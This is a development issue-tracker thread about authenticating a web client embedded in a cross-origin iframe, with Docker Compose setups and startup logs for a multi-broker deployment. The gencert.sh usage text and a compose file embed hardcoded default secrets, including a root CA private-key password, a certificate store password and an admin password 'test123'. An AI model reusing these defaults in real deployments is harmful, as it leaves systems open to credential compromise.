sm.contextSm.setUniqueInitialSecurityContext();
sm.contextSm.pushAndSwitchSecurityContextBySessionId(sessionId);
try
{
// do the work
}
finally
{
sm.contextSm.popAndRestoreSecurityContext();
sm.contextSm.dropInitialSecurityContext();
}
security context braces, correct?
Http request must be registered as asynchronious http request via
AsyncContext, correct?#501 Updated by Hynek Cihlar 6 months ago
Sergey, looks good. You can post a diff or commit for early review.
#502 Updated by Sergey Ivanovskiy 5 months ago
This committed revision 16435 (9709b) is not for the review, I just fixed previous security issues related to the client password usages and openMimeResource method was made private and protected in this revision.
#503 Updated by Sergey Ivanovskiy 5 months ago
I have some conceptual difficulties in how to work with DHTML documents. The root document can contain only a script resource that should load resources dynamically from some places that are not known at the moment when this DHTML document is loaded by the web browser widget. How can the requests from this document be authorized?
We cannot use Referer header and cannot ask the customer to rewrite their scripts in order that the scripts use our authentication service.
#505 Updated by Sergey Ivanovskiy 5 months ago
I would like to discuss an issue we are facing. The Java web client starts an authentication service that provides web tokens for authorized clients. When the 4GL logic loads the welcome page in the web HTML browser widget, the web client attaches the authenticated token to that page. The welcome page is DHTML; while we don’t know its exact structure, every request from this page to the Java client's embedded web server must be authenticated.
Currently, a token is used per request, and a new one must be requested each time. Only authorized clients can receive a new token, which is the key issue. I don't have a proposal for this specific schema yet. We could potentially weaken the token security by allowing a token to be valid for a specific duration; the DHTML page could then extract the token from the URL parameters. However, this schema is insecure because the token would remain visible in the browser history.
#506 Updated by Constantin Asofiei 5 months ago
Sergey, is this problem because we no longer store this token in a cookie? Or something else?
If the cookie is the problem, once the FWD iframe has auth via the original token, why not store a long-running token in a cookie for the FWD client?
#507 Updated by Sergey Ivanovskiy 5 months ago
Constantin Asofiei wrote:
Sergey, is this problem because we no longer store this token in a cookie? Or something else?
If the cookie is the problem, once the FWD iframe has auth via the original token, why not store a long-running token in a cookie for the FWD client?
We cannot use cookie for the cross site response, so the browser does not attach the secure cookie provided by the server side.- already discussed.
#508 Updated by Sergey Ivanovskiy 5 months ago
Sergey Ivanovskiy wrote:
I would like to discuss an issue we are facing. The Java web client starts an authentication service that provides web tokens for authorized clients. When the 4GL logic loads the welcome page in the web HTML browser widget, the web client attaches the authenticated token to that page. The welcome page is DHTML; while we don’t know its exact structure, every request from this page to the Java client's embedded web server must be authenticated.
Currently, a token is used per request, and a new one must be requested each time. Only authorized clients can receive a new token, which is the key issue. I don't have a proposal for this specific schema yet. We could potentially weaken the token security by allowing a token to be valid for a specific duration; the DHTML page could then extract the token from the URL parameters. However, this schema is insecure because the token would remain visible in the browser history.
I found new proposals to apply service workers:
https://developer.chrome.com/docs/workbox/service-worker-overview/
https://www.sjoerdlangkemper.nl/2021/01/06/adding-headers-to-image-request-using-service-workers/
https://itnext.io/using-service-worker-as-an-auth-relay-5abc402878dd
https://github.com/ForgeRock/appAuthHelper/blob/master/service_workers.md
#509 Updated by Constantin Asofiei 5 months ago
Sergey Ivanovskiy wrote:
Constantin Asofiei wrote:
Sergey, is this problem because we no longer store this token in a cookie? Or something else?
If the cookie is the problem, once the FWD iframe has auth via the original token, why not store a long-running token in a cookie for the FWD client?
We cannot use cookie for the cross site response, so the browser does not attach the secure cookie provided by the server side.- already discussed.
Please be patient with me. The FWD iframe client shown in #9709-270 is on its own IP (aka domain). I'm not talking about the initial authentication/launching of the FWD client. I'm talking that once launched, the FWD iframe can store an auth token in a cookie and use that with all requests.
I don't see how the cross-site response is involved when all links calling into the FWD client stay on the same domain, which is the one in the FWD client iframe.
#510 Updated by Sergey Ivanovskiy 5 months ago
Constantin Asofiei wrote:
Sergey Ivanovskiy wrote:
Constantin Asofiei wrote:
Sergey, is this problem because we no longer store this token in a cookie? Or something else?
If the cookie is the problem, once the FWD iframe has auth via the original token, why not store a long-running token in a cookie for the FWD client?
We cannot use cookie for the cross site response, so the browser does not attach the secure cookie provided by the server side.- already discussed.
Please be patient with me. The FWD iframe client shown in #9709-270 is on its own IP (aka domain). I'm not talking about the initial authentication/launching of the FWD client. I'm talking that once launched, the FWD iframe can store an auth token in a cookie and use that with all requests.
Did you mean the server side secure cookie?
I don't see how the cross-site response is involved when all links calling into the FWD client stay on the same domain, which is the one in the FWD client iframe.
This iframe is included in the main top site so the browser does not attach this cookie with cross-site request. I do not know which directives must be sent to the browser to force it attach the cookie. If this one will be possible, then we might get rid of web token idea and work with secure cookies. If you know, then please help so we can use our current web client almost without any changes.
#511 Updated by Hynek Cihlar 5 months ago
Constantin Asofiei wrote:
I don't see how the cross-site response is involved when all links calling into the FWD client stay on the same domain, which is the one in the FWD client iframe.
When a web server response for a cross-origin iframe contains a secure session cookie with SameSite set to Lax or Strict, the browser will refuse to set or send that cookie. We could relax SameSite to None, but this would introduce CSRF vulnerabilities.
#512 Updated by Constantin Asofiei 5 months ago
Sergey, Hynek, thanks for your patience. So only the top-level 'navigation' page can set cookies, the iframes will not be able to set cookies. And the cookies will be only for the top-level 'navigation' domain (i.e. the FWD server '/gui' domain).
Are the service workers private per 'tab' (opened page)? If not, then they need to be created/destroyed per tab, as otherwise we will not be able to launch FWD clients in multiple tabs.
#513 Updated by Sergey Ivanovskiy 5 months ago
At this moment I have no complete picture of how these ideas should work. These ideas lead to very complicated design adding more possible issues. Thus, I would propose to use Nginx proxy server with the broker clients #9709-453. The setup is simple. The code changes are not required and there are no security issues.
#514 Updated by Roger Borrello 5 months ago
- File 9709_npe.png added
Sergey, with 9709b_16442 I am receiving:
after I authorize the broker link.
The broker console output: Show console
Am I using a good version?
#515 Updated by Constantin Asofiei 5 months ago
Sergey Ivanovskiy wrote:
Sergey, so, cookies can be set only by the top-level navigation page. What about this:At this moment I have no complete picture of how these ideas should work. These ideas lead to very complicated design adding more possible issues. Thus, I would propose to use Nginx proxy server with the broker clients #9709-453. The setup is simple. The code changes are not required and there are no security issues.
- we receive the redirect URL in the repsonse from the login POST request. This redirect URL contains the spawn token in the query params (from the spawn launch)
- instead of setting the iframe's location, we temporarily redirect the browser to a (special?) page on the FWD client's domain/port, which sets the auth cookie on the right domain.
- we redirect the browser back to the FWD server's domain and load the iframe properly (it should have access to the cookie from the previous point)
#516 Updated by Constantin Asofiei 5 months ago
(the above can also be limited to only the cases when the FWD server and FWD client are on different domains - I don't know what the rules are to match on sub-domains).
#517 Updated by Constantin Asofiei 5 months ago
Constantin Asofiei wrote:
(the above can also be limited to only the cases when the FWD server and FWD client are on different domains - I don't know what the rules are to match on sub-domains).
And the above I don't think will work, as from some googling n the iframe can't read even existing cookies for its own domain.
But the following works (in/etc/hosts):
my1.app.comis the 'broker' (what is inwebClient/hostin directory.xml)app.comis the FWD server.
Both of these are mapped to 'localhost' for the testing purposes. This works with trunk fine in normal setup (i.e. spawning a FWD client).
Greg - at this time I think we are trying to solve something which is not and can not be a real deploy solution. The FWD brokers and the FWD server must be on the same domain, either configured via DNS or via a reverse proxy. Whatever else we are trying to solve in FWD (with service workers or other tricks to share state between iframe and top-level page) will just pose more problems.
#518 Updated by Roger Borrello 5 months ago
deploy/server/broker_client.xml.template(new)deploy/server/directory_broker.xml.template(new)deploy/server/gencert.sh(new)deploy/etc/prepare_dir_pg_broker_allinone.json(new)deploy/server/directory.xml.templatedeploy/server/prepare_dir.shdocker/docker-compose_prepare.yml
gencert.sh is a wrapper to SSLCertGenUtil to create certificates and store them in private stores for the brokers. Usage:
Usage: ./gencert.sh <certalias> [-f <directory>] [-s <server_id>] [--pkpw=<pk_password>] [--backup] [--emit-secrets] [--format=<json|plain>]
Where:
<certalias> = The alias to generate the certificate for. This is required.
-f <directory.xml> = Directory to use (def=directory.xml).
-s <server_id> = FWD Server identifier (def=standard).
--pkpw=<pk_password> The root CA private-key encryption password. (def=^u0mrGn)o2X5nor109+KAvt&teTCn2v7).
--backup Make a backup of the directory as "directory.xml.backup"
--emit-secrets Use internally with another bash
--format=<json|plain> emit-secrets format is json or plain (def=plain).
It is called from
prepare_dir.sh when there are brokers to configure in the JSON. Show the allinone JSON
The allinone JSON will configure a docker environment for 2 brokers (hotelbrk1, hotelbrk2), a server (hotelsrv), and a database (hoteldb). (Note: the docker-compose YAML creation is WIP).
To setup the directory.xml and brokers, you have to have the JSON setup properly. The given JSON will configure Hotel GUI for 2 brokers properly in a Docker configuration. The docker compose command is:
cd ~/projects/hotel_gui/docker CFG_FILE=prepare_dir_pg_broker_allinone.json docker compose -f docker-compose_prepare.yml up
For reference, the docker-compose_prepare.yml file contains:
services:
hotel_preparer:
image: hotel_gui_server:latest
container_name: hotel_preparer
command: 'bash -c "/opt/hotel/docker/docker-entrypoint.sh hotel /opt/hotel/etc/${CFG_FILE:-prepare_dir.json}"'
volumes:
- ${LOG_DIR:-../deploy/logs}:/opt/hotel/logs
- ${CFG_DIR:-../deploy/etc}:/opt/hotel/etc
- ${SEC_DIR:-../deploy/security}:/opt/hotel/security
- ./repo/entrypoint/docker-entrypoint_prepare.sh:/opt/hotel/docker/docker-entrypoint.sh
environment:
ADMIN_CONSOLE_PASSWORD: ${ADMIN_CONSOLE_PASSWORD:-test123}
APP_DBUSER_PASSWORD: ${APP_DBUSER_PASSWORD:-user}
SRV_CERTS_PASSWORD: ${SRV_CERTS_PASSWORD:-nxC4nwQAj(9ZyOea5q8E+m~6dI&uvl28i5tk}
Once the environment is create, there is a YAML (already created) which would startup the environment. It will startup 4 services (database, server, and 1 broker). I've tested adding a 2nd broker, and it works fine, I just haven't checked that version in yet. Both brokers are in session.
services:
hotel_db:
image: hotel_gui_postgres:latest
stop_grace_period: 30s
container_name: hotel_db
hostname: hoteldb
command: >
bash -c "
cd /tmp &&
sudo /docker-entrypoint-initdb.d/init-db.sh /pgdata/fwdcluster postgres &&
exec sudo startup_pg.sh
"
volumes:
- hotel_db_postgres:/pgdata:delegated
environment:
PGDATA: ${PGDATA:-/pgdata/fwdcluster}
PGPORT: ${PGPORT:-5432}
healthcheck:
test: ["CMD-SHELL", "pg_isready -h localhost -p 5432"]
interval: 5s
timeout: 15s
retries: 10
networks:
corp_lan:
ipv4_address: 192.168.2.50
hotel_server:
image: hotel_gui_server:latest
container_name: hotel_server
hostname: hotelsrv
# The bash options to the -x are handled differently, so if debug is desired, choose the first command.
#command: ['bash','-x', '/opt/hotel/docker/docker-entrypoint.sh', 'hotel', 'postgres']
command: 'bash -c "/opt/hotel/docker/docker-entrypoint.sh hotel postgres"'
volumes:
- ${LOG_DIR:-../deploy/logs}:/opt/hotel/logs
- ${CFG_DIR:-../deploy/etc}:/opt/hotel/etc
- ./repo/entrypoint/docker-entrypoint_server.sh:/opt/hotel/docker/docker-entrypoint.sh
environment:
START_SERVER_GETOPTS: '-c /opt/hotel/etc/server.xml'
depends_on:
hotel_db:
condition: service_healthy
healthcheck:
test: ["CMD-SHELL", "cd /opt/hotel/server && ./server.sh -s"]
interval: 5s
timeout: 15s
retries: 10
networks:
corp_lan:
ipv4_address: 192.168.2.51
hotel_broker1:
image: hotel_gui_client:latest
container_name: hotel_broker1
hostname: hotelbrk1
# The bash options to the -x are handled differently, so if debug is desired, choose the first command.
#command: ['bash','-x', '/opt/hotel/docker/docker-entrypoint.sh']
command: 'bash -c "/opt/hotel/docker/docker-entrypoint.sh /opt/hotel/etc/broker1_client.xml"'
volumes:
- ${LOG_DIR:-../deploy/logs}:/opt/hotel/logs
- ${CFG_DIR:-../deploy/etc}:/opt/hotel/etc
- ${SEC_DIR:-../deploy/security}:/opt/hotel/security
- ./repo/entrypoint/docker-entrypoint_broker.sh:/opt/hotel/docker/docker-entrypoint.sh
depends_on:
hotel_server:
condition: service_healthy
networks:
corp_lan:
ipv4_address: 192.168.2.52
volumes:
hotel_db_postgres:
external: true
# Add "corp_lan" network with something similar to (find parent interface with "ip route get 8.8.8.8"):
# docker network create -d macvlan --subnet=192.168.2.0/24 --gateway=192.168.2.1 -o parent=eth1 corp_lan
# Allow host to access docker network with:
# sudo ip addr add 192.168.2.10/24 dev corp_lan_host
# sudo ip link set corp_lan_host up
networks:
corp_lan:
external: true
I will be creating a prepare_yaml.sh script, which will take the same JSON, to generate this YAML for starting the server. There will need to be some additional values added to the JSON, because there has to be a way to indicate where the service is being hosted. It could be hosted on the same host, or different ones. Then there is setting up the network. Because if we want the database to be on a given host, and the server and brokers to be on another, we need to create a YAML for the database service, and then a YAML for the combo server+brokers. So there's some design work to do.
#519 Updated by Sergey Ivanovskiy 5 months ago
Roger Borrello wrote:
Sergey, with 9709b_16442 I am receiving:
after I authorize the broker link.The broker console output: {{collapse(Show console)
[...]
}}Am I using a good version?
The current rev 9709b is 16458. Did you use this version?
#520 Updated by Sergey Ivanovskiy 5 months ago
Constantin Asofiei wrote:
Constantin Asofiei wrote:
(the above can also be limited to only the cases when the FWD server and FWD client are on different domains - I don't know what the rules are to match on sub-domains).
And the above I don't think will work, as from some googling n the iframe can't read even existing cookies for its own domain.
But the following works (in/etc/hosts):
my1.app.comis the 'broker' (what is inwebClient/hostin directory.xml)app.comis the FWD server.Both of these are mapped to 'localhost' for the testing purposes. This works with trunk fine in normal setup (i.e. spawning a FWD client).
Greg - at this time I think we are trying to solve something which is not and can not be a real deploy solution. The FWD brokers and the FWD server must be on the same domain, either configured via DNS or via a reverse proxy. Whatever else we are trying to solve in FWD (with service workers or other tricks to share state between iframe and top-level page) will just pose more problems.
Greg, I agree with Constantin. The current idea to make these changes only adds the boundary cases to all existing application scenarios: restoring after network breakages, token expiration, security issues and performance overhead.
Greg, do you agree with this proposal to use web proxy? The customers are using already this setup with the proxy server so the additional work is not required. It just requires to configure broker client hosts to be used by the reverse web proxy.
#521 Updated by Sergey Ivanovskiy 5 months ago
Roger Borrello wrote:
The main automation of configuration of the directory and broker configurations has been checked into the Hotel GUI project at revision 432. This consists of:
Updating to this revision 432 I observed conflicts related to certificates stores:
#522 Updated by Sergey Ivanovskiy 5 months ago
Roger. should these certificates store be in the repository? Should I use these committed stores? I guess that it should affect the certificates in the directory, correct?
#523 Updated by Sergey Ivanovskiy 5 months ago
Roger, you can try this version committed rev. 16459 (9709b) for testing.
#524 Updated by Greg Shah 5 months ago
Sorry, I need to slow this down a bit to make sure we all have a shared understanding.
The Java web client starts an authentication service that provides web tokens for authorized clients. When the 4GL logic loads the welcome page in the web HTML browser widget, the web client attaches the authenticated token to that page. The welcome page is DHTML; while we don’t know its exact structure, every request from this page to the Java client's embedded web server must be authenticated.
This implementation you are describing is:
- Only for virtual desktop mode;
- Was created during the work for the SSO implementation in #3931.
Questions:
- Is this correct?
- Do we have any similar issues with embedded mode?
- Is this design required? I recall that this was a choice made at that time and there were some trade-offs. Sergey: Please review #3931 and summarize the pros/cons of this choice.
Greg - at this time I think we are trying to solve something which is not and can not be a real deploy solution. The FWD brokers and the FWD server must be on the same domain, either configured via DNS or via a reverse proxy.
I don't think this assumption is correct. The location where the FWD client is spawned does not need to be the same domain. By definition, cross-domain is any difference in protocol + hostname + port, right? The FWD client will always be in a different domain because of the port difference and sometimes it will be on a different IP address which is not at all guaranteed to be inside the same DNS domain.
We cannot design for a simplistic one-system approach. Our work here must handle the fully distributed architecture where brokers do remote launching.
Greg, do you agree with this proposal to use web proxy?
As I've stated before, we are trying to avoid the case where we must always use reverse proxy. Let's finish the discussion about the original SSO design before we come back to this.
#525 Updated by Constantin Asofiei 5 months ago
Greg Shah wrote:
Greg - at this time I think we are trying to solve something which is not and can not be a real deploy solution. The FWD brokers and the FWD server must be on the same domain, either configured via DNS or via a reverse proxy.
I don't think this assumption is correct. The location where the FWD client is spawned does not need to be the same domain. By definition, cross-domain is any difference in
protocol + hostname + port, right?
No, the port is not included when determining if the iframe and top-level window are on the same domain, by the browser. That's why FWD is working now as long as the URL you access the login page and the host set in directory.xml for the FWD client are on the same domain (or the same IP). If you change these, then it will not work even now.
#527 Updated by Roger Borrello 5 months ago
Sergey Ivanovskiy wrote:
The current rev 9709b is 16458. Did you use this version?
I am updating now.
#528 Updated by Roger Borrello 5 months ago
Sergey Ivanovskiy wrote:
Roger. should these certificates store be in the repository? Should I use these committed stores? I guess that it should affect the certificates in the directory, correct?
The certificates that are in the repository match the certificates that are in the directory.xml.template. A new setup, or a setup where you are rebuilding certificates will be good. I found the key in the report.sh for embedded didn't match up with the store. Root cause was when I added brokers, I messed up all the certificates and check them in. I am restoring them back now that I know how to set only a single certificate up, and I don't include the brokers in the base configuration.
#529 Updated by Roger Borrello 5 months ago
Roger Borrello wrote:
Sergey Ivanovskiy wrote:
The current rev 9709b is 16458. Did you use this version?
I am updating now.
Works great (rev 16459)! I was able to update and rebuild using dbash.sh -c "fwd_update.sh --build" (docker development container) then create a FWD runtime for Docker (this requires 10727a to merge with trunk, I just copy the tools/docker directory to my 9709b branch:
./docker/docker_build.sh --pg=14 --latest
Rebuild Hotel and Docker images:
ant deployapp archive ./docker/build_docker.sh -r . -i fwd_4.0_ubuntu_24.04 -t 9709b_latest --compose --use_cache --jdk_version=jdk17 --no_prune --db_type=postgres -ld
Then I can start the demo for broker (with 2 brokers):
cd docker
docker compose -f docker-compose_broker_allinone.yml up
[+] up 3/3
✔ Container hotel_server Recreated 0.1s
✔ Container hotel_broker2 Recreated 0.1s
✔ Container hotel_broker1 Recreated 0.1s
Attaching to hotel_broker1, hotel_broker2, hotel_db, hotel_server
Container hotel_db Waiting
hotel_db | Warning: Running as root. This will affect all users.
hotel_db | Switched to JDK 17
hotel_db | Setting initial directory and ownership of /pgdata/fwdcluster to postgres:postgres...
hotel_db | INFO: Starting PostgreSQL cluster /pgdata/fwdcluster...
hotel_db | waiting for server to start....2026-02-17 09:07:18.228 EST [59] LOG: starting PostgreSQL 14.20 (Ubuntu 14.20-1.pgdg24.04+1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, 64-bit
hotel_db | 2026-02-17 09:07:18.229 EST [59] LOG: listening on IPv4 address "0.0.0.0", port 5432
hotel_db | 2026-02-17 09:07:18.229 EST [59] LOG: listening on IPv6 address "::", port 5432
hotel_db | 2026-02-17 09:07:18.237 EST [59] LOG: listening on Unix socket "/pgdata/fwdcluster/.s.PGSQL.5432"
hotel_db | 2026-02-17 09:07:18.251 EST [60] LOG: database system was shut down at 2026-02-17 08:56:15 EST
hotel_db | 2026-02-17 09:07:18.266 EST [59] LOG: database system is ready to accept connections
hotel_db | done
hotel_db | server started
hotel_db | ✅ Cluster is running at: /pgdata/fwdcluster
Container hotel_db Healthy
Container hotel_server Waiting
Container hotel_server Waiting
hotel_server | Warning: Running as root. This will affect all users.
hotel_server | Switched to JDK 17
hotel_server | INFO: Waiting for server to startup
hotel_server |
hotel_server | Checking if PostgreSQL is ready to accept connections...
hotel_server | psql -U fwd_user -h hotel_db -p 5432 -d postgres -c select now()
hotel_server | now
hotel_server | -------------------------------
hotel_server | 2026-02-17 09:07:23.715356-05
hotel_server | (1 row)
hotel_server |
hotel_server | Start file monitoring
hotel_server | Starting server with -j hotel -c /opt/hotel/etc/server.xml
hotel_server | Warning: FILES_TO_MONITOR has no files to monitor. Exiting.
hotel_server | ** Starting server...
hotel_server | ** Waiting for server to start...
Container hotel_server Healthy
Container hotel_server Healthy
hotel_broker2 | Warning: Running as root. This will affect all users.
hotel_broker1 | Warning: Running as root. This will affect all users.
hotel_broker2 | Switched to JDK 17
hotel_broker1 | Switched to JDK 17
hotel_db | 2026-02-17 09:07:35.437 EST [104] ERROR: function getfwdversion_1() does not exist at character 8
hotel_db | 2026-02-17 09:07:35.437 EST [104] HINT: No function matches the given name and argument types. You might need to add explicit type casts.
hotel_db | 2026-02-17 09:07:35.437 EST [104] STATEMENT: SELECT getFWDVersion_1()
hotel_server | ** Server started successfully!
hotel_server | ** Waiting for the semaphore '/tmp/hotel.semaphore' to be set...
hotel_broker2 | INFO: Spawn process started with pid 128.
hotel_broker2 | 26/02/17 09:08:24.714-0500 | FINER | com.goldencode.p2j.net.SessionManager [SessionManager.createQueue()] | ThreadName:main | host = hotelsrv; port = 3333; secure = true;
hotel_broker2 | 26/02/17 09:08:25.114-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: Creating NetSocketWrapper: /192.168.2.53:46499 -> hotelsrv/192.168.2.51:3333
hotel_broker2 | 26/02/17 09:08:25.117-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(2)
hotel_broker2 | 26/02/17 09:08:25.117-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
hotel_broker2 | 26/02/17 09:08:25.119-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
hotel_broker2 | 26/02/17 09:08:25.120-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
hotel_broker2 | 26/02/17 09:08:25.120-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(36)
hotel_broker2 | 26/02/17 09:08:25.121-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeBytes(byte[36])
hotel_broker2 | 26/02/17 09:08:25.121-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
hotel_broker2 | 26/02/17 09:08:25.122-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
hotel_broker2 | 26/02/17 09:08:25.123-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
hotel_broker2 | 26/02/17 09:08:25.123-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): ''
hotel_broker2 | 26/02/17 09:08:25.124-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readBoolean(): false
hotel_broker2 | 26/02/17 09:08:25.124-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): 'h1Vq83bcI02703QI'
hotel_broker2 | 26/02/17 09:08:25.429-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[46])
hotel_broker2 | 26/02/17 09:08:25.432-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[46]
hotel_broker2 | 26/02/17 09:08:25.467-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[189])
hotel_broker2 | 26/02/17 09:08:25.471-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[93]
hotel_broker2 | 26/02/17 09:08:25.475-0500 | FINER | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | public abstract java.lang.String[] com.goldencode.p2j.main.RemoteSpawner.getCommand(java.lang.String)
hotel_broker2 | 26/02/17 09:08:25.475-0500 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | parameters (f1558adf-f6bc-4a5e-a283-8402310aa3a0)
hotel_broker2 | 26/02/17 09:08:25.476-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[83])
hotel_broker2 | 26/02/17 09:08:25.480-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[566]
hotel_broker2 | 26/02/17 09:08:25.480-0500 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | result = [fwd, "", /opt/hotel/client, java, ${remote.jvm.args}, ${remote.broker.classpath}, com.goldencode.p2j.main.ClientDriver, net:server:host=${remote.host}, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=${remote.secure.port}, sso:subject:id=bogus, sso:storage:id=storage-hotel, client:web:host=${remote.agent.host}, remote:agent:dedicatedMode=${remote.agent.dedicatedMode}, client:web:port=7449, server:spawner:uuid=f1558adf-f6bc-4a5e-a283-8402310aa3a0]
hotel_broker2 | 26/02/17 09:08:25.481-0500 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | elapsed millis = 5
hotel_broker2 | 26/02/17 09:08:25.482-0500 | FINER | com.goldencode.p2j.net.Queue [Queue.disable()] | ThreadName:main | Queue is stopping.
hotel_broker2 | java.lang.RuntimeException: Only a stack trace, not a real exception!
hotel_broker2 | at com.goldencode.p2j.net.Queue.disable(Queue.java:582)
hotel_broker2 | at com.goldencode.p2j.net.SessionManager.endSession(SessionManager.java:1403)
hotel_broker2 | at com.goldencode.p2j.net.BaseSession.terminate(BaseSession.java:243)
hotel_broker2 | at com.goldencode.p2j.main.NativeSecureConnection.command(NativeSecureConnection.java:183)
hotel_broker2 | INFO: Launch cmd arguments:
hotel_broker2 | INFO: The argument number 0 is: fwd.
hotel_broker2 | INFO: The argument number 1 is: "".
hotel_broker2 | INFO: The argument number 2 is: /opt/hotel/client.
hotel_broker2 | INFO: The argument number 3 is: java.
hotel_broker2 | INFO: The argument number 4 is: -Xmx512m.
hotel_broker2 | INFO: The argument number 5 is: -Djava.awt.headless=true.
hotel_broker2 | INFO: The argument number 6 is: -Djava.library.path=/opt/fwd/build/lib/.
hotel_broker2 | INFO: The argument number 7 is: -classpath.
hotel_broker2 | INFO: The argument number 8 is: /opt/fwd/build/lib/p2j.jar.
hotel_broker2 | INFO: The argument number 9 is: com.goldencode.p2j.main.ClientDriver.
hotel_broker2 | INFO: The argument number 10 is: net:server:host=hotelsrv.
hotel_broker2 | INFO: The argument number 11 is: net:socket:nio=false.
hotel_broker2 | INFO: The argument number 12 is: net:ssl:trackSeqNo=false.
hotel_broker2 | INFO: The argument number 13 is: net:connection:secure=true.
hotel_broker2 | INFO: The argument number 14 is: net:server:secure_port=3333.
hotel_broker2 | INFO: The argument number 15 is: sso:subject:id=bogus.
hotel_broker2 | INFO: The argument number 16 is: sso:storage:id=storage-hotel.
hotel_broker2 | INFO: The argument number 17 is: client:web:host=hotelbrk2.
hotel_broker2 | INFO: The argument number 18 is: remote:agent:dedicatedMode=false.
hotel_broker2 | INFO: The argument number 19 is: client:web:port=7449.
hotel_broker2 | INFO: The argument number 20 is: server:spawner:uuid=f1558adf-f6bc-4a5e-a283-8402310aa3a0.
hotel_broker2 | INFO: Check user account for: fwd.
hotel_broker2 | INFO: The password is null.
hotel_broker2 | INFO: Starting with argv[MIN_ARGS_COMMAND]: (java), argv[MIN_ARGS_COMMAND - 1]: (/opt/hotel/client).
hotel_broker2 | INFO: Spawn result code: (0).
hotel_broker2 | INFO: Forked. Setting working directory to /opt/hotel/client.
hotel_broker2 | Feb 17, 2026 9:08:45 AM java.util.prefs.FileSystemPreferences$1 run
hotel_broker2 | INFO: Created user preferences directory.
#530 Updated by Sergey Ivanovskiy 5 months ago
Greg Shah wrote:
Sorry, I need to slow this down a bit to make sure we all have a shared understanding.
The Java web client starts an authentication service that provides web tokens for authorized clients. When the 4GL logic loads the welcome page in the web HTML browser widget, the web client attaches the authenticated token to that page. The welcome page is DHTML; while we don’t know its exact structure, every request from this page to the Java client's embedded web server must be authenticated.
This implementation you are describing is:
- Only for virtual desktop mode;
- Was created during the work for the SSO implementation in #3931.
No. Greg, it seems that you confused by my note above. This is only related to the method of clients authorization (web authentication tokens) that we are planning to use because html secure cookies can work only with the same site policy set to none in this cross-site web page. This is just technical issues we are faced with the broker setup. As I recalled the one page design that affected the broker client was raised from the customer requirements related to the web client storage design. The same client settings must be applied to the different tabs opened within the browser, correct? I think that it is not related to SSO implementation itself.
Questions:
- Is this correct?
- Do we have any similar issues with embedded mode?
- Is this design required? I recall that this was a choice made at that time and there were some trade-offs. Sergey: Please review #3931 and summarize the pros/cons of this choice.
OK, investigating #3931.
#531 Updated by Sergey Ivanovskiy 5 months ago
My note is that one page design added this issue for the broker clients setup because in this case the main page becomes the page containing a cross-site page (web client page) inside iframe. So the browser security policy prevents the browser to attach the secure cookie with each requests to the web client. This is an issue we are trying to overcome. The design before was multi page design. On submitting user/password the login page was redirected to the web client page. In this case the issue was not present.
#532 Updated by Roger Borrello 5 months ago
I was sorely disappointed when I moved the "all-in-one" configuration to 3 VMs. I moved the DB to fwddev1, the server to fwddev2, and 2 brokers to fwddev3. The Docker images were created, and the networks created with a new script which allows options for all the network info:
Create a Docker network with the given setup, and optionally remove isolation. Usage: /home/rfb/usrbin/create_docker_lan.sh [-t <ntype>] [-s <subnet>] [-g <gateway>] [-n <nname>] [-i] [--link_ip=<link ip>] Where: t <ntype> = set network type to <ntype> (def=macvlan) s <subnet> = set subnet to <subnet> (def=192.168.2.0/24) g <gateway> = set gateway to <gateway> (def=192.168.2.1) n <nname> = set network name to <nname> (def=corp_lan) i = Remove isolation so host can access network --link_ip=<link ip> If isolation is removed, use this link IP (def=192.168.2.10/24)
Then the yaml was split up.
On fwddev1 was docker-compose_broker_db.yml Show DB yaml
On fwddev2 was docker-compose_broker_server.yml Show server yaml
On fwddev3 was docker-compose_broker_broker.yml Show broker yaml
However, upon attempting to start the server, the server could not connect to the database. It turns out there isn't any routing setup "automagically" outside the containers. Network isolation isn't the problem either.
I think the options were pretty unpalatable...- adding all the VMs on my 192.168.1.0/24 subnet
- creating a static route
192.168.2.0/24 via 192.168.1.241 - going back to Docker bridge
I don't think any of those really exercise a valid configuration that we are looking for as an example. Maybe I'm wrong... but I embarked on swarm.
I created a swarm on fwddev1 as the manager, and fwddev2 and fwddev3 as the workers.
On fwddev1:
docker swarm init --advertise-addr 192.168.1.241
He output a token line I could run on fwddev2 and fwddev3 for them to join.
I created an overlay network:
docker network create --driver overlay --attachable corp_net
Then there is a new yaml to run on the manager, which drives the whole shooting match:
version: "3.9"
services:
hotel_db:
image: hotel_gui_postgres:latest
stop_grace_period: 30s
hostname: hoteldb
command: >
bash -c "
cd /tmp &&
sudo /docker-entrypoint-initdb.d/init-db.sh /pgdata/fwdcluster postgres &&
